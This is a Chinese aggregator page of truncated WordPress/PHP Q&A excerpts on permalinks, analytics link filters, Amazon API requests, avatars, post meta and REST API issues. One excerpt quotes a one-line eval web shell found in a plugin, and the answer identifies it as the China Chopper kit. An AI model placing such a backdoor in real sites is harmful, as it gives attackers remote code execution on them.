【php – WordPress’sitename.com/post-name类型永久链接背后的秘诀是什么】教程文章相关的互联网学习教程文章

php-使用$wp_rewrite的WordPress set_permalink_structure(‘/%postname%/’)【代码】

我如何通过functions.php更改永久链接设置(在子主题中为二十十二),使其处于活动状态并且可以工作,而无需手动进行任何操作? 我想这段代码应该可以工作,但是似乎没有..我想我错过了一些东西.if($run_when_theme_is_activated_and_user_wants_this_permalink_structure){global $wp_rewrite;$wp_rewrite->set_permalink_structure( '/%postname%/' );$wp_rewrite->flush_rules(); }当我刚刚访问“永久链接设置”页面… wp-admin / op...

PHP-将Google Analytics(分析)添加到WordPress的next_post_link函数【代码】

致力于在自定义主题中设置Google Analytics(分析).我利用站点内的previous_post_link和next_post_link函数进行一些导航.现在,我尝试在其中添加一些Google Analytics(分析). 我已经将此添加到我的functions.php文件中:add_filter('next_post_link', 'ga_next_post_link'); function ga_next_post_link($link) {$link = str_replace('" rel="next">', '" onclick="ga('send', 'event', 'NavNext', 'click');" rel="next">', $link);...

php – 在WordPress post_meta中保存时,不允许’SimpleXMLElement’序列化【代码】

我正在亚马逊联盟wordpress页面上工作.为此,我使用aws_signed_request函数来获取亚马逊的价格和链接. 这是返回xml的aws_signed_request函数:function aws_signed_request($region, $params, $public_key, $private_key, $associate_tag) {$method = "GET";$host = "ecs.amazonaws.".$region;$uri = "/onca/xml";$params["Service"] = "AWSECommerceService";$params["AWSAccessKeyId"] = $public_key;$params["Associ...

php – WordPress wp_remote_post()给出“cURL错误6:无法解析主机”【代码】

从今天早上开始,我正在管理的wordpress网站中的一些功能不再起作用.我记下了它的响应,这给了我:{"errors":{"http_request_failed":["cURL error 6: Could not resolve host: subdomain.example.com"]},"error_data":[]}当我从该机器手动运行curl时,我只是将html作为响应.由于它说它无法解析主机,我认为问题发生在域名可以解析为ip之前.所以我猜(但不确定)这与DNS有关. 我真的不明白这里可能出现什么问题,或者我如何调试它.有人有建...

php – 如何获取URL到帖子作者的用户BuddyPress Avatar里面的WordPress Post Loop【代码】

问题 如何获得帖子作者的头像的URL? 要求 我想要网址上托管的图片的网址. 图像将在帖子的循环中调用. 该帖子的作者是我希望显示其头像图像的人. 我试过的 一堆东??西,但主要是<?php echo get_avatar_url(user_email); ?&GT它返回由Gravatar托管的默认“神秘人”图像的网址,尽管它们是为此测试用户上传到我的网站的头像.澄清我不想要一个Gravatar托管图像.参考WordPress code reference for get_avatar_url() 目前还没有完整的Wo...

php – 根据WordPress中的帖子类别为Post创建管理员菜单【代码】

我正在尝试创建一个包含所有后期功能的新管理菜单所以我正在尝试创建一个新的菜单,其中包含一个帖子类别’news’和post-type – post所以我添加了下面的功能,但它仍然改变了原始帖子菜单的命名和功能.function custom_post_type() {$labels = array('name' => _x( 'News', 'Post Type General Name', 'texdomain' ),'singular_name' => _x( 'News', 'Post Type Singular Name', 'texdomain' ),'menu_name'...

php – WordPress’sitename.com/post-name类型永久链接背后的秘诀是什么【代码】

在Wordpress中,可以使用诸如sitename.com/post-title之类的URL,尽管不存在名称为post-name的目录. 我猜index.php(或可能是404页)必须处理这种请求. 任何人请解释这背后的确切伎俩……解决方法:阅读this page中的Mod Rewrite基础知识.它是一个Apache模块,允许您解析请求内容并将其重定向到“真实”页面,而无需更改浏览器地址. 假设你有这个:RewriteRule ^post/([0-9]+)?/?([0-9]+)?/?$/index.php?p=$1&page=$2 [QSA]使用这样的重写...

WordPress后端的更改导致PHP文件的下载(某些POST请求被阻止)【代码】

当我尝试在WordPress中创建用户时,将启动文件“user-new.php”的下载.但是没有创建用户.如果我想更改设置,同样的问题.然后开始下载“options.php” 这是下载的options.php的内容:<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>503 Service Unavailable</title> </head><body> <h1>Service Unavailable</h1> <p>The server is temporarily unable to service your request due to maintenance downtime...

在WordPress网站上找到<?php @eval($_ POST ['pass']);?>代码

我在我的一个wordpress插件网站上找到了这段代码.我想它可以用于恶意,但它到底是做什么的,我能否知道它是否会调用我应该注意的其他一些行为?解决方法:这个PHP脚本属于China Chopper Hacking Kit. https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html

php – wordpress get_post_meta无法循环工作【代码】

我试图在自定义字段“价格”订购的页面上发布帖子我已经完成了订购,但现在我无法得到’价格’的价值回应. get_post_meta不提供任何输出.这是代码:$args=array( 'meta_key'=>'price', 'post_type' => 'page','orderby'=>'meta_value_num','post_status' => 'publish','posts_per_page' => -1,'caller_get_posts'=> 1); $my_query = null; $my_query = new WP_Query($args); if( $my_query->have_posts() ) {$count=0;while ($count...

php – wordpress中the_post_thumbnail和get_the_post_thumbnail之间的区别【代码】

我一直在努力开发一个wordpress主题,我注意到很多Wordpress函数有两个版本,正常版本如the_post_thumbnail,而不是同一个版本,前面有get_.<?php the_post_thumbnail(); ?> <?php get_the_post_thumbnail(); ?>这不仅仅是针对the_post_thumbnail,因为我在很多不同的wordpress函数上看到了这一点,并且想知道两者之间的区别是什么,因为它们看起来完全相同,并且想确保我正确使用它们.谢谢.解决方法:the_post_thumbnail()仅适用于邮政编码...

php – WordPress Rest API无法与Postman合作【代码】

我正在使用WordPress REST API插件.当我访问Google Chrome中的API链接时,它会返回JSON响应,但如果我尝试将其与Postman一起使用,则无效.相反,它返回此响应:<html> <body><script type="text/javascript" src="/aes.js" ></script><script>function toNumbers(d){var e=[];d.replace(/(..)/g,function(d){e.push(parseInt(d,16))});return e}function toHex(){for(var d=[],d=1==arguments.length&&arguments[0].constructor==Array...

php – 如何为wordpress WP_QUERY清理$_POST?【代码】

任何人都知道如何消毒WordPress的$_POST?或者当我使用WP_QUERY时它是否已经消毒?谢谢! 我在想是否使用mysql_escape()或esc_sql()[wordpress函数].function checkIfEmailAndPasswordHaveUser( $email, $password ) { $args = array('post_type' => 'my_custom_post_type','meta_query' => array(array('key' => 'email','value' => $email),array('key' => 'password','value' => $password),), );$query = n...

wordpress – 错误:在wp-includes / post.php中,只能通过引用返回变量引用【代码】

当我在我的WordPress设置中放入PHP错误报告时,我一直收到此错误. 注意:在3394行的/Users/admin/Sites/wp-includes/post.php中,只能通过引用返回变量引用 我觉得它与分类法及其分层设置有关. 我正在尝试在我正在编写的插件中跟踪它一段时间. 这些是WP Core中的实际代码行,返回在excact行上.// Make sure the post type is hierarchical$hierarchical_post_types = get_post_types( array( 'hierarchical' => true ) );if ( !in_arr...

php – $_POST在wordpress中的表单提交时返回空【代码】

我有一个表格:<form action="<?php echo the_permalink(); ?>" method="POST"><input type="text" name="name" value="" placeholder="Your First and Last Name *" /><?php echo $firstnameError; ?><input type="text" name="email" value="" placeholder="Yoyr Email" /><?php echo $emailError; ?><br><input type="text" name="company" value="" placeholder="Your Company Name" /><input type="text" name="phone" value=...